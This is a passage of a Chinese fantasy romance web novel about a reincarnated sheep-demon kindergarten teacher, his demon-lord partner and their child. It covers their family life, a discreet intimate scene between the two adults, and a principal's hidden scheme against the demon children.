“也许是因为您身上有化丹,化丹里蕴含极强的能量,再加上幼儿园那棵神树,孩子们和您在一起的时候总是很开心,连不舒服的感觉都会因您而缓解,我们都很感谢您。” “我也很喜欢他们,你们放心吧,我会照顾好他们的。”杨思昭认真道。 放下电话,杨思昭回到小(5)班,小家伙们原本围坐在桌边吃点心,一听到动静就齐刷刷地转过头望向他,“小羊老师!” 他深吸了一口气,露出轻松的笑容。 可他明显感觉到小家伙们比起以前蔫了许多,就连平日最贪吃的圈圈都没胃口了。 中午吃饭的时候,他盯着碗里的红烧肉犯了难,脑袋说想吃,肚子说吃不下,他可怜巴巴地望向杨思昭,说:“小羊老师,我的肚子变成滚筒洗衣机了,一直在转一直在转,我好想吃肉,可是洗衣机不想吃,怎么办啊?” 杨思昭无奈只能给他榨一杯苹果汁。 剩下的四只小妖怪里,只有眠眠好好的,应该与他的灵根被陆无烬保护着有关。 他把餐具收拾好,去办公室开会。再回来的时候,刚推开门就吓了一跳——小家伙们变回原形了。 眠眠左边躺了一只小灰狼,右边趴着小狮子,小狮子的身上睡着一只彩色小鸟。 眠眠呆呆地望向杨思昭,显然他也不知道发生了什么。 他以为朋友们在玩,还没等杨思昭走近,他也一翻身,变成了一只毛茸茸的小羊。 “……”杨思昭挠挠头。 一整个下午,他都没有开灯,躺在教室的地板上,看着旁边熟睡中的小妖怪们,时不时为他们盖好被子。 圈圈的毛比起眠眠有些稀疏,但摸起来柔软顺滑,毫无阻涩感。乐乐的毛又短又密,体温又高,就像一个毛茸茸的暖宝宝。小池一直睡在杨思昭的耳边,把脑袋埋在翅膀下,杨思昭特意给她找了一张小毯子做她的小窝。至于眠眠,杨思昭早就熟悉了那种爱不释手的手感,顺着他绒毛的生长方向,一遍遍地抚摸。 有杨思昭在身边,小家伙们睡得四仰八叉,安逸得很。 下午四点,他催着小家伙们变回人形,帮他们穿好衣服,再一个个地交到家长手里。他本想在门口等一等许曜,但叶老师告诉他:许曜已经回去了,下午的课上到一半,他就请假回家了。 “这孩子,孤僻得很。”叶老师说。 今天的事又多又乱,杨思昭的心沉得很,在门口站了好一会儿。 他没注意到,他牵着眠眠离开幼儿园的时候,院长也走了出来。 院长负手立于门前,默默注视着他们的离开。 杨思昭回到家,下厨做了三菜一汤,特意多留了一份,让眠眠送给许曜。 敲了半天门,许曜才出来。 杨思昭站在眠眠身边朝他笑,“要不要尝尝老师的手艺?有老师的拿手菜糖醋里脊哦!” 他用余光扫了一眼裴怀谦的家,简直就是一个样板间,没有半点家的气息。 许曜没伸手,杨思昭执意把饭盒塞到他的怀里,“尝一尝,喜欢的话以后每天都可以来老师家吃晚饭。” 许曜望向眠眠,换上小家居服的眠眠,正贴在杨思昭的腿边,怯怯地朝他笑。 “谢谢。”许曜说,转身关上了门。 眠眠的棒棒糖悬在半空,还是没送出去。 杨思昭无奈道:“等明天早上吧。” 回到自家餐桌边,杨思昭给自己和眠眠各盛了一碗饭。他还多拿了一只碗,想给陆无烬盛一碗,可是陆无烬还没有回来。 “讨厌,离开了也不跟我说一声,还让助理转达,”他小声嘟囔,“真是让人担心。” 眠眠学他:“讨念!” “不给你爸爸吃了,做眠眠的汤碗。” 杨思昭刚握住汤勺,手腕就被一个微凉的触感覆盖住了,他僵了片刻,听见耳边传来一声轻笑,“两天不到,我的碗都没了?” 杨思昭慢吞吞地转过头,看到陆无烬。 明明还是一身黑色大衣,还和平日一样高大挺拔,剑眉星目,杨思昭却一眼看出他的疲惫与风尘仆仆。他放下碗勺,转过身,顾不上眠眠在场,就满眼委屈地扑到陆无烬的怀里,像三百年前一样,恨不得成为陆无烬身体的一部分,他哽咽着说:“你回来了。” 陆无烬抱住他,还是笑,“眼泪是批发的不值钱吗,怎么说掉就掉?” “因为太担心了。”杨思昭把脸埋在陆无烬的颈窝,“我昨晚都睡不着,一直在担心。” “不要担心,”陆无烬在他的耳尖落了一个吻,轻声说:“我现在比任何人都珍惜自己的生命。” “为什么?”杨思昭一时没反应过来。 “因为……”陆无烬看了眠眠一眼,而后俯身在杨思昭耳边说,“因为灵眼里有好多画面,我还没来得及仔细看。” 杨思昭的脸一下子烧起来了。 陆无烬继续压低了声音,说:“当时刚审问完殷刹的部下,回到房间就看到了,可是下属又过来报告其他事,只能中断。” 杨思昭两手抵在他胸口,想要逃离,可陆无烬手臂如铁铸,紧紧箍着他的腰。 “不许说了!你……你赶快忘掉!” “忘不了。”陆无烬把手搭在杨思昭领口的纽扣上,别有意味地拨了一下。 “还想再看一次现场版,小羊老师。” 不等杨思昭拒绝,他已经靠近,用他的脸勾引蛊惑杨思昭:“就今晚,好吗?” 第39章 陆无烬善于利用他的脸。 三百年前他就发现了这件事,小羊妖的注意力总是不集中,平日里不是吃花就是追小鸟,就是坐不住,但只要他靠近了,小羊妖就像中了定身咒,呆呆地盯着他的脸,红晕以肉眼可见的速度从脖颈蔓延到耳根。 再靠近一点,小羊妖就要被抽走骨头了,变成软绵绵的布团,站也站不稳了,一个劲往他胸口栽,睡在他怀里,还要仰头看他。 陆无烬对自己的外貌并没有太多认知,还是凡人时,他常年困守边疆,每日与漫天黄沙作伴,半年都照不了几次铜镜,手下的将士们也都是粗人。很长一段时间里,陆无烬都觉得自己容貌粗鄙可怖,因此拒绝了皇帝的赐婚。 直到遇见洵暮,一个没见过多少世面的小羊妖,他才知道,情人眼里是千般好的。 他看暮儿,也是千般好。 他低头,再度靠近杨思昭的脸,看他瞳孔里的自己骤然放大,看他滑动的喉结。 “就今晚,好吗?” 杨思昭鬼使神差地点了点头,很快又反应过来,扬声说:“不、不好!” 他推开陆无烬,逃到眠眠身边坐下。 陆无烬姿态悠闲地拉开了凳子。 眠眠歪着脑袋看妈妈,又看了看爸爸,再转过头,继续看妈妈。 明明没有辣椒,妈妈的脸竟然辣得通红,他吓了一跳,连忙伸手拿过自己的胖水壶,捧到妈妈面前,“妈妈,喝水。” 杨思昭快熟透了,闷头喝了一大口凉水,又把水壶贴在脸上,给自己降温。 陆无烬自顾自地盛了一碗饭,夹起一块糖醋里脊送入口中。 眠眠忽然开口:“爸爸,你不在家的时候,我一直保护妈妈的。” “是么?”陆无烬眉梢微挑,“长大了。” 眠眠咧开嘴,傻乐起来。 “既然长大了,今晚就一个人睡吧。” 眠眠的笑容瞬间消失。 杨思昭差点呛住,朝陆无烬瞪了一眼。眠眠委屈成小苦瓜了,丢了饭勺,转向杨思昭:“妈妈,你不和我一起睡了吗?” “呃——”杨思昭两头为难。 眠眠抱住他的胳膊,央求道:“我和妈妈睡,爸爸一个人睡,好不好?” “不好。”陆无烬残忍拒绝。 豆大的眼泪从眠眠的眼眶里掉出来,杨思昭没想到他反应这么大,急忙把他抱到腿上,眠眠窝在他怀里,呜咽道:“房间外面有坏妖怪,我要保护妈妈的。” 陆无烬再次插话,“我会帮你保护妈妈的,我比你厉害。” 眠眠“哇”的一声,哭得更凶。 杨思昭连忙用眼神压制陆无烬,让他不许火上浇油。 陆无烬弯了弯嘴角,继续吃饭。 杨思昭好不容易才安抚好眠眠,小家伙抽抽噎噎地握住饭勺,刚吃了两口饭,一想起妈妈之后很有可能再也不和他一起睡了,又难过起来,转头向杨思昭确认:“妈妈,你今晚会和我睡吧?” “会的。” “会不会偷偷溜走找爸爸?” 杨思昭无奈地笑,“不会的。” 幸好这次陆无烬没有捣乱,才让眠眠安心吃完晚饭,吃完饭了,他还一直盯着陆无烬,小警察一样,时刻监视着陆无烬的动向。 一旦发现陆无烬走向卧室,他就打起十二分精神,小火车不要了,小熊玩偶也丢到一边,躲在茶几后观察陆无烬,直到确认爸爸和妈妈没有单独在房间里,才放下心。 可是下一秒,陆无烬忽然出现在卧室门口,倚着门框,抱臂和他对望。 眠眠把下巴垫在茶几边缘,撅起嘴巴,得意地望向陆无烬。可是想了想又觉得自己霸占妈妈的行为有些不好,心虚起来,默默低下头,用茶几玻璃遮住半张脸。 晚上,杨思昭帮他洗完澡,吹干了头发,他穿着画满小羊的新睡衣,高高兴兴地跑到床上,打了个滚,等待着妈妈的到来。很快,妈妈也吹干头发走了过来。可是没过多久,爸爸也走了进来。 眠眠如临大敌,头上的小羊角若隐若现,陆无烬无视他,径直走到床边。 眠眠一个猛扑,冲到床边。 还没来得及阻止陆无烬上床,就被陆无烬抄底一捞,圈住他的小肚子,拎了起来,他呆呆地挂在陆无烬的臂弯上,还没反应过来,就被陆无烬扔到了床中央。 陆无烬上了床,和杨思昭各躺一边。 杨思昭把晕乎乎的眠眠捞起来,抱进怀里,拿出枕边的绘本,“我们继续讲小狗雷欧的故事吧。” 眠眠完全忘了十秒钟之前的事,舒舒服服地躺在妈妈的臂弯里,听妈妈绘声绘色地讲睡前故事。爸爸睡在他的左边,闭着眼睛,看起来似乎已经快要睡着了。 “……雷欧说,每个人都要学会大声说出我爱你,很多话,只有说出来,别人才会知道,尤其是我爱你……” 眠眠已经昏昏欲睡,还强打着精神,对杨思昭说:“我爱你,妈妈。” 杨思昭俯身亲了亲他的额头,轻声说:“我也爱你。” 话音落了没几秒,小家伙的呼吸已经均匀了,眼皮已经完全合上。杨思昭轻轻收回手臂,合上绘本,都没有吵醒他。 他松了口气,一抬头,对上了陆无烬的眼。 方才还闭目养神的陆无烬,此刻正直勾勾地看着他,眼神像带着钩子,紧紧锁住了他的目光,而后缓慢地滑落到他的脖颈,再到胸口,仿佛已经一寸一寸地将他看穿。 杨思昭下意识望向眠眠。 小家伙睡得很熟。 杨思昭也不知道自己是怎么走到卫生间的,等他的混乱思绪稍微平静些时,他已经站在卫生间的筒灯下面了。 陆无烬在他对面,倚着洗手台。 “我……” 杨思昭决定先发制人,“你上次明明当着我的面,休眠了灵眼,事实证明你都是骗我的,你一点诚信度都没有。” 陆无烬不说话。 “哪有你这样的,一点隐私都没有,真的很讨厌!我不喜欢这样!” 陆无烬抱着胳膊,好整以暇地望着他。 “还有,你不要在眠眠面前说那些话吓唬他,本来分床睡、分房睡就是一个循序渐进的过程,要给孩子足够的安全感——” 陆无烬打断他:“宝贝,不停地说话只会耽误时间,不会改变今晚的流程。” “……” 杨思昭在心里叹了口气,两只手僵硬地抬了起来,搭在睡衣的贝母纽扣上。 纽扣又小又滑,费了三次功夫,才解开第一颗。 接着是第二颗。 第三颗。 陆无烬始终倚在水池边,抱臂望着他,他原本还有些羞恼,可视线无意中扫过陆无烬的睡裤,陡然定睛。 陆无烬似乎不像他看起来那么淡定。 至少下面不算太配合。 他低头,解开第四颗纽扣,而后故意拢起衣襟,背过身去,“就这样,昨晚也是这样的,我……我要回去睡觉了。” 他握住门把手,意料之中的,把手纹丝不动。 而后他听到陆无烬一步步朝他走过来,脚步声应和着杨思昭的心跳声,像一曲激烈的鼓乐。陆无烬从后面抱住了他,手和吻同时落下。 杨思昭以为自己会很害羞,但身体的接触就像是记忆的开关,瞬间将他拉回三百年前的青竹林。那时他未经人事,只知道喜欢便要时时刻刻在一起,喜欢便要耳鬓厮磨、交颈而眠。就像此刻,当陆无烬的吻细细密密地落在他的耳畔,他的颈侧,脑袋里那点羞意瞬间荡然无存,他转过身,主动圈住了陆无烬的脖子。 他踮起脚,陆无烬俯下身,一手托住他的腰,一手按在他的颈后。每当吻得深了,动情到极点时,陆无烬都会停下来,直勾勾地望着他的眼睛,试图在他满是朦胧水汽的眼瞳里看到自己完全的倒影。 “别再离开我了。” 他那样高大,说出这几个字时,却变得无比脆弱,需要杨思昭用吻、用怀抱、用自己,去填补他的失落与孤独。 “不会了,”杨思昭捧住他的脸,认真地说,“这一次我一定会保护好自己。” 浴室的暖气不足,需要打开热水,让热腾腾的雾气溢满整间浴室。 可是水雾多了,瓷砖也变得湿滑。 杨思昭的手总是试图抓住些什么,每次都只能抓个空,掌心湿漉漉的,已经分不清是汗还是冷凝水。很快,陆无烬将手覆在他的手背上,修长手指钻进他的指缝。 水声掩盖住一切。 大多数时候他们在接吻,可杨思昭完全投入之后就只会哭了,舒服了哭,受不住也要哭,还带着些许的抱怨:“其实我也很想你的,每一世都会想起你,做梦也在想你……” 陆无烬含住他的唇瓣。 “小时候就会梦到你,但又不知道你是谁,吓得我不敢睡觉,长大之后也没办法接触其他人,每天都在想,梦里那个男人究竟是谁……”杨思昭靠在陆无烬的肩头,呜咽着说:“我过得也不好,陆无烬,我也好可怜的。” “我知道。”陆无烬把他放在洗手台上,像他哄眠眠一样,哄了他好一会,等他的眼泪终于停闸,才握住他的小腿分到两边。 对杨思昭来说,反面比正面舒服些,但他太喜欢陆无烬的脸了。 只要看着,他的胸膛就开始起伏。 只要陆无烬看着他,无论怎样,他都乖乖配合。 …… 眠眠醒来的时候,天已经亮堂堂了。 他迷迷糊糊地望着天花板,发了一会儿呆,不知想到了什么,突然一激灵,转头望向右边。幸好,妈妈还在。 再望向左边,爸爸也沉沉睡着。 他松了口气。 又自顾自地开心起来,一个人对着天花板傻笑。过了几分钟,他才咂摸出一点不对劲。 妈妈的睡衣好像不是昨天那件了! 昨天是白色的,现在变成黄色了。 等等,爸爸的睡衣也换了。 他的小嘴瞬间瘪成了波浪号,他就知道,爸爸妈妈一定趁他睡觉的时候偷偷溜出去玩了。爸爸一回来,他就不是妈妈心里最重要的了,他很难过。 他刚想哭,可是又有一个念头钻进他的脑袋:爸爸在妈妈心里也很重要啊。 妈妈讲过的,是因为妈妈爱爸爸,才会有眠眠。 而且,爸爸在他心里也很重要。 如果是这样,他就不能一个人霸占妈妈了,他应该和爸爸一样保护妈妈。 这样想着,他又没那么难过了。 他抽了抽鼻子,又用袖子擦了擦眼泪,然后轻手轻脚地翻个身,钻进妈妈的怀里。 妈妈无意识地搂住了他。 妈妈身上有很浓很浓的沐浴露香味,就像是才洗完澡不久那么香。眠眠嗅了嗅,很舒服地闭上了眼睛,再醒来的时候,妈妈还在睡,左边的爸爸已经不知所踪了。 他眨眨眼,听到脚步声,紧接着感觉到两只大手握住他的腰,把他从妈妈怀里拎出来,一路送到卫生间。他呆呆地站在垫脚凳上,看着爸爸给他挤好哈密瓜味的牙膏,然后把牙刷塞到他手里,“自己刷牙,声音小点。” 陆无烬已经换上了衬衣和西裤,一身清爽,眠眠皱起小小的眉头,狐疑地望着他,质问他:“爸爸,你是不是欺负妈妈了?” “没有。”陆无烬看起来并不想搭理他。 “坏爸爸。”眠眠气鼓鼓地刷牙。 陆无烬把毛巾用温热水浸湿,稍微拧干,往眠眠的脸上一盖,逆时针转了三圈,这就是洗脸了。 眠眠被抱到餐厅的时候,还没反应过来,直到一滴水从他额前的发梢上滴下来。 他扬声喊:“坏爸——” 说到一半就被陆无烬捂住嘴,“妈妈在睡觉,安静点。” 没有妈妈的早餐,看起来不是很美味,眠眠咬了一口干巴巴的紫薯卷,又仰起头,看了看卧室,期待着妈妈的突然出现。 可是一直到他吃完,妈妈都没有出现。 “妈妈怎么了?”他问。 陆无烬给他剥了一颗茶叶蛋,语气平静:“妈妈累了,在补觉。” 眠眠用小勺子戳了戳粥碗,闷闷不乐地说了声:“哦。” 餐厅里太安静了,没过几分钟,眠眠又问:“爸爸,你以后会一直和我和妈妈住在一起吗?” “嗯。” “为什么?” “没有为什么,我们就应该住在一起。” 这个回答完全不符合眠眠的理解范围,但他还是点了点头,宽容地原谅了爸爸。 他接过陆无烬给他剥的茶叶蛋,又拿起一颗蛋,在桌子上敲了敲,敲出很多裂缝,再递给陆无烬,陆无烬说:“早上就吃一个。” 眠眠摇头,“给爸爸吃。” 陆无烬的手就这样顿在当场,片刻后才接过茶叶蛋,继续剥壳。 眠眠咬着茶叶蛋对他傻笑。 陆无烬这才发现自己有多失职,小家伙还穿着薄薄的床上睡衣,没有穿袜子,头发留着水渍,下巴还有一点牙膏沫没有擦干净。 他起身,洗了手,把家居服和袜子拿过来,给眠眠穿上。 眠眠打了个喷嚏,但还是朝他笑。 杨思昭一直睡到十一点。 虽说已经日上三竿,但满打满算,他仍不足八个小时睡眠。 醒来的时候还愣怔了好久,缓冲了几分钟,才猛然睁开眼——上班迟到了! “已经帮你请假了。” 陆无烬的声音在他身后想起,他转过身,陆无烬手里拿着耳温测量仪,看了眼数值,“没发烧,比第一次好得多。” “……”杨思昭把脸蒙进被子,瓮声说:“你不要大清早说这些。” 眠眠看到妈妈钻进被子里,以为妈妈在和他玩,立即放下小熊爬了过来。 他钻进被子,因为看不见,一头撞在妈妈的腰上,正晕乎乎的时候被妈妈抱住了。 妈妈把他团成一个小球,抱在怀里。 “妈妈,我好担心你呀。” “眠眠不怕。” “妈妈,你的身上都是红斑斑,但是爸爸说,那是他给你增加能量的时候留下的,”眠眠钻出来,捧住杨思昭的脸,认真地问:“妈妈,你现在是不是有很多很多能量?” “……”杨思昭只能硬着头皮说是。 眠眠又开始傻乐了,身子一歪,就倒在旁边。 杨思昭回头羞恼地瞪了一眼陆无烬。 陆无烬笑,俯身在他耳边说,“昨天的确是有很多的,可惜都被清理掉了。” “陆无烬!” “暮儿,体力变差了。” 杨思昭再一次用被子遮住脸。 “以前可以坚持很久的,怀孕那几个月——” “啊啊啊!”杨思昭坐起来,捂住陆无烬的嘴,整张脸都涨红了,“讨厌你!” 陆无烬亲他的手心。 两个人温存了半晌,杨思昭忽然问:“只要进入轮回,就不能出去了吗?我想要结束历劫,我身体里明明有你的化丹,那么强大的力量,我却使用不了。我也想起回澜咒了,如果我恢复妖身,就可以把化丹还给你了。” “不用。” “为什么?” “万事皆有因果,也许化丹与你有缘,我希望它在你的身体里,一直保护着你。” “可是小(5)班的孩子们好像出了点情况,”杨思昭把方小盼母亲的话转述给陆无烬,“你知不知道这是怎么回事?” 他握住陆无烬的手,“我心里有点不安,总觉得还有危险,我知道你滞留人界,要消耗大量的灵力,要不我把回澜咒告诉你,你——” “我不会做任何有可能伤害到你的事。” 杨思昭咬住唇。 “可是你回妖界,我会担心。” “灵眼是双向的,我教你一个口诀,你也可以看到我在做什么,好不好?” 杨思昭眼睛一亮,“真的吗?这不就是视频通话吗?你快教我!” 陆无烬靠近了,在他耳边说,“我过几天还要回去一趟,如果当晚回不来——” “我一定打开!” 陆无烬轻笑,“到时候,还是卫生间,你就坐在洗手台上,我也会找个僻静的地方,我们……” “陆!无!烬!闭嘴!!!” 第40章 杨思昭一直以为陆无烬是正人君子。 至少三百年前,陆无烬的确是一位仙风道骨、遗世独立的神君。他不苟言笑,勤于苦修,受人敬仰,在洵暮没有闯入他生命之前,他都像一棵没有感情没有喜怒的檀香树。 可能是三百年的等待太久了。 神君也会变态…… 杨思昭一整天都没法直视陆无烬,幸好还有一个眠眠,每当陆无烬走过来,他立即翻个身握住眠眠的手,眠眠正在拼拼图,被妈妈弄乱了也不生气,凑过去,在杨思昭的脸颊上亲了一大口,说:“妈妈和我一起玩。” 他的家居服是连体的,温暖的咖色,胸口印着一只白色的小羊,毛茸茸的质感看起来就像冬天的雾凇,闻起来还有一股暖烘烘的太阳味道。杨思昭忍不住把脸埋在他的小肚子上,过了一会儿,听到眠眠小声说:“妈妈,我想去幼儿园。” 杨思昭一愣,他以为眠眠不喜欢集体环境。 “为什么想去幼儿园?” “因为……”眠眠低头拨弄了一下拼图,“因为我想和他们一起玩。” 杨思昭颇感欣慰。 他的少年时期没几个朋友,往前回忆,因为父母工作忙碌,幼年时期的他似乎也没几个玩伴,像眠眠这样,因缘际会之下认识一群小伙伴,在他看来是一件很幸运的事。 “眠眠觉得这几个小伙伴怎么样?” 眠眠害羞道:“好。” “哪里好呢?” “圈圈吃很多,但是他会和我一起玩滑滑梯,乐乐会给我们发杯子,她爸爸做的饼干也好吃,还有……还有小池,她会画画,她给我画画还送给我……” 眠眠还是第一次说这么多话,杨思昭听的讶然,但没有打断他,静静听着。 “还有盼盼和望望,他们昨天没有来,我很担心。” 杨思昭摸了摸他的小脸,思索片刻,提议道:“妈妈给他们打个电话,眠眠在电话里问问他们身体有没有恢复,好不好?” 眠眠的眼睛倏然睁得圆溜溜。 “好。”他有些紧张。 杨思昭把他圈在臂弯里,拨通了胡婕的电话,嘟嘟几声后,接话接通。 “杨老师?” 杨思昭说明了情况,询问道:“眠眠很担心小盼和小望,能让他们通个电话吗?” “好啊,两个昨晚已经好多了,吵着今天要去幼儿园呢,我让他们再休息一天。”胡婕转过头,大声道:“小盼小望,眠眠打电话来了!” 很快,电话那头就传来吭哧吭哧的呼吸声,两个声音挤在一起此起彼伏,是小盼先开口:“眠、眠眠,你好呀!” 眠眠抱着手机,呆住了。 他很小声地说了句:“你好。” 小望挤到话筒前,“眠眠,我妈妈说你今天也没去幼儿园,你也生病了吗?” 眠眠立即说:“没有,我没有生病。” 小望乐呵呵地说:“没有生病就最好啦,生病很不好的,我在床上从白天躺到天黑。” 方小盼在一旁急吼吼地接话:“又从天黑躺到天白。” “那叫白天,没有天白。”方小望纠正他。 方小盼一向不敢忤逆妹妹,委屈道:“好吧,是白天。” 两个人说完了,半晌听不到眠眠的声音,连忙问:“眠眠,你还在吗?” 眠眠把手机抱得更紧些,急着说:“在,在,我一直在听。” 杨思昭帮他举起手机,让他的嘴巴对准听筒,眠眠想要说话,又有些胆怯,求助地望向杨思昭,杨思昭轻声教他:“眠眠可以问,那你们现在有没有好一点?” 眠眠学着说:“你们现在有没有好一点?” “好啦,我妈妈说明天就可以回幼儿园了!”方小盼兴奋道:“我很想你们。” 眠眠咧嘴笑。 方小盼又想起来:“我妈妈给我和妹妹买了一个小的抓娃娃机,等我明天带过去,我们一起玩。” 眠眠不好意思地说:“谢谢。” “不用谢,啊——”方小盼不小心踩到了妹妹的脚,连忙道歉:“妹妹,你痛不痛?” 方小望说:“不痛,算了。”她凑到听筒边,说:“小羊老师,你想不想我们?” 杨思昭笑着说:“当然想啦。” 他望向眠眠,用眼神示意眠眠继续说,眠眠还是害羞,抿起嘴巴。 通话就这样结束了,一直到最后,眠眠都没有勇气说出:我也很想你们。 杨思昭没有批评他,反而夸他:“眠眠好棒呀,第一次打电话给朋友,小盼和小望能够感觉到眠眠的关心,他们一定很高兴。” “真的吗?” “当然了,眠眠已经很棒了。” 得到杨思昭的肯定,眠眠的脸一点一点红了起来,他一头钻进杨思昭的怀里。 院长把亲子运动会的方案发到工作群里,杨思昭点开看了看。 活动时间定在下周三,周二开始布置场地、准备道具和奖品。活动内容也是惯常的几个项目:接力运球、滚南瓜、竞速毛毛虫…… 杨思昭望向一旁的陆无烬,实在难以想象陆无烬会参与这种项目。他把手机举到陆无烬面前,问:“你会参加吗?” 意料之中的,陆无烬直截了当:“不会。” 杨思昭忍不住开始想象,陆无烬玩竞速毛毛虫……这事不能细想,越想越憋不住笑,很快他就笑出声来,把脸埋进枕头,身子弓成虾米,肩膀抖个不停。 陆无烬瞥他一眼,懒得搭理。 下午陈此安派人送过来一张儿童床,四周带围栏,床垫又软又厚。除了床,还有一堆儿童用品,全部是进口货,包装盒上都是杨思昭不认识的外文。 杨思昭看得咋舌,忍不住问:“你哪里来的钱?是变出来的吗?合法有效吗?” “违法,无效。”陆无烬逗他。 杨思昭挠挠头,小声说:“这样不太好吧,人家做生意的也不容易,这年头,钱很难赚的,人家师傅运过来也很辛苦……” 陆无烬勾唇。 “我来付吧,”杨思昭掏出手机,“我前几天刚发工资。” 陆无烬握住他的手,无奈道:“我有我的办法,人妖两界也不是完全没有互通的途径,他们需要我的帮助,自然要给点好处。” “帮助什么?” “譬如送回一些误入妖道的人。” “哦。” 过了一会,杨思昭又凑过去,“那你有多少钱呀?” “你希望我有多少?” 穷了二十三年的杨思昭表现出了极短的见识,羞赧道:“一……一千万?” 他掰了掰手指头,“我原来工资是一个月四千一,院长为了留住我,给我开了三倍工资,一年到手十六万。一千万除以十六万,我不吃不喝都要攒六十年!” 算完了他直叹气,“你从神君做到妖王,怎么会知道人类有多辛苦?” 陆无烬安静地听他讲。 “从妖族的视角看,人类的寿命很短暂,如果出身不好,或者家庭不幸福,长大了工作勉强糊口,感情受挫,就这样一天天重复下去,那真是很难熬的一生。” “可是人也很有趣,白天挨了批评,躲在卫生间里哭,可是晚上和朋友吃一顿火锅就会很高兴,唱个K就更好了,多发两千块奖金能幸福地跳起来,遇到喜欢的人,一起吃饭看电影逛街,躺在家里哪儿都不去,也很幸福。” 杨思昭打开窗户,二月初寒风凛冽,远处的街道上依旧车水马龙。 陆无烬站在他身侧,轻声问:“所以你想做回妖,还是继续待在这里?” “洵山有我的族人,也不知道爹爹和娘亲怎么样了,但这儿也有我的父母,他们是普通人,尽全力把我养大,我也不能轻易离开。我想回去一趟,再做决定。” “好。”. 关于如何结束历劫,杨思昭没有再问,他怕得到不好的回答,他逃避地希望,生活就这样细水流长地继续下去。 陆无烬比他更上心些,当晚,他用离魂之术,再次找到了月仙。 月仙此刻急得像热锅上的蚂蚁,他的神侍不小心弄乱了姻缘红线,幸好被他及时发现,否则就要酿成无数桩人间惨案了。他抹了抹额头上的汗,喘着粗气,走到陆无烬面前,“哎?你怎么来了?” “怎么结束历劫?” 月仙笑出声来,“怎么,三百年不做神君,连历劫之事是绝密天机都忘了?” “你知道。” “我知道也不能告诉你。”月仙看了他一眼,笑道:“怎么,想带他回妖界?” 陆无烬未置可否。 “早就叮嘱过你了,不要去打扰他的人生,也许他这一世就历劫结束了,眼睛一闭,再一睁,已经代替你成为新的净梵神君,届时你们想暗中厮混,暗度陈仓,我也就睁一只眼闭一只眼了。” “若他这一世未能结束,我还要等多久,这一世,又有多久?” 月仙哑然,半晌才说:“神君本不该动情,你当初爱上他的时候,就该知道孽缘生孽债,自有因果索偿。” “什么都是因果,你怎么不说这些所谓的修炼、姻缘、历劫、度化、天谴,都是你们高高在上俯瞰众生的游戏?” “你——”月仙脸色陡变,“陆无烬,你以为你脱了神君身份,就能妄议天规?” 陆无烬冷笑,“本就是一场游戏,好与坏都是你们定的。” “你究竟想说什么?” “告诉我,如何能结束历劫。” “绝不可能!” “可以,”陆无烬的脸色渐冷,语气也浸透寒意。“你们可以不说,我也可以打开洵山的大门,让人妖两族互通。” 月仙大骇:“陆无烬,你疯了!” “你自可上报仙官,天谴或是天劫,我无所谓,来就是了。”说罢转身离开。 “陆无烬!” 月仙在他身后连声叹气。 翌日,杨思昭只赖了五分钟的床,就鲤鱼打挺地蹦了起来。 他洗漱完,顶着一头乱发,揉着眼睛走到厨房,陆无烬正在做早饭。 “多准备一份吧,给对面的小朋友,裴先生最近不在家。” 陆无烬抬眼看向他:“关系不错,还替他照顾侄子。” 杨思昭跑到他身边,笑嘻嘻地问:“你吃醋啦?我想起来了,裴先生刚出现的时候,你就一直吃醋。” 他竖起一根指头,轻轻地戳了戳陆无烬的脸颊,又凑过去,直勾勾地盯着陆无烬的眼睛,笑着问:“你在怀疑什么呀?” 陆无烬闻到他脸上的爽肤水味道。 他靠得很近,近到陆无烬能清晰地看到他的睫毛,于是低头亲了一口。 杨思昭呆住。 下一秒,就听到不远处传来一声“羞羞脸”。 眠眠站在卧室门口,捂住自己的眼睛,扬声道:“爸爸妈妈羞羞脸!” 杨思昭的脸很快烧了起来。 “不怀疑你,怀疑他。”陆无烬说着,往平底锅里敲了第四枚鸡蛋。 两只鲜肉蒸饺,两只鲜虾蒸饺,一只荷包蛋,一把小番茄,还有一杯牛奶。 杨思昭装进打包盒里,派眠眠送到对面,本来还以为眠眠要吃闭门羹,没想到小家伙很快就回来了,脸上挂着笑。 他手里空空,看来许曜这次没抗拒。 “哥哥说谢谢。”眠眠说。 “那眠眠说了什么?” 眠眠爬上凳子,握住小饭勺,高兴地晃了晃脑袋:“眠眠说不用谢!” 杨思昭颇感欣慰。 到了幼儿园,今天小(5)班满员到齐,六个小家伙都很兴奋,互相交换了礼物,凑在一起嘀嘀咕咕,一个人抓着前一个人的衣摆,开着小火车跑了进去。 几个家长在外面看着,也是一脸的笑。 齐妍说:“原本是来这儿避难的,没想到他们挺喜欢这里的,月岭市不大,经济也不算太发达,生活节奏很慢,是个宜居的好城市。如果我们的孩子都是普通的人类孩子,就这样和朋友们一起长大。” 她转头望向胡婕:“也挺好的。” “谁说不是呢,可惜——” 杨思昭问:“可惜什么?” “可惜我们不属于这里,我们的家在万里之外的妖界,”胡婕无奈地笑了笑,对他说,“杨老师,我们已经商量好了,各家派一个回去查看灵根受损的情况,不过这样就不能全员来参加运动会了,到时候,还要麻烦杨老师多多操心了。” 各家派一个回去,听起来很轻巧,实则有可能是生离死别,毕竟他们现在身份是擅自逃离妖界,这在妖界是重罪。 杨思昭点头,“没事,我一定陪孩子们玩得尽心,不让他们有遗憾。” 他又说:“我会帮你们向陆——向尊主说情的。” 齐妍向他道谢。 正说着,院长走了过来,笑盈盈道:“你们几位真是爱孩子爱到骨子里了,每次都是目送孩子们进教室才离开。” 齐妍主动说:“院长,运动会那天我们几家都有事,只能去一个人。” “是嘛。”院长露出一副惋惜的神情,又说:“不过来一个家长也够了,游戏项目不多,玩得过来。” “你们这是要去哪儿?”他又问。 “有些私事。”齐妍说。 院长没有再追问。 临走前,齐妍忽然转过身,问院长:“院长,听小羊老师说,您的夫人和我们是一类人,这事您怎么没跟我们提过?” 院长的笑容有一瞬间的僵滞,很快又笑了:“过去太久了,我现在记忆力不太好,好几次想和你们聊聊,看见你们了,又想不起来,等你们回来我再详说。” 齐妍没发现破绽,她的丈夫顾桓也没有查到什么异常。 似乎只是他们多想了。 杨思昭更没发现问题,家长们离开之后,他也准备回教室,院长喊住他:“小羊老师,最近满面春风,是不是有什么喜事啊?” 杨思昭笑着摆手,“没有没有。” 他快步奔向教室。 院长远远地看着他的背影,自言道:“多羡慕你,能阖家团聚……五个妖将的子嗣,纯种的血脉,一颗净梵神君的化丹,可以了,足够了。” “足够炼成我想要的东西了。” 杨思昭没有察觉到危险,他陪着孩子们玩了一整天,小家伙们在他身边总是精力充沛,放学还不肯分开,快到四点十分了,才依依不舍地说了再见。 他牵着眠眠的手回家。 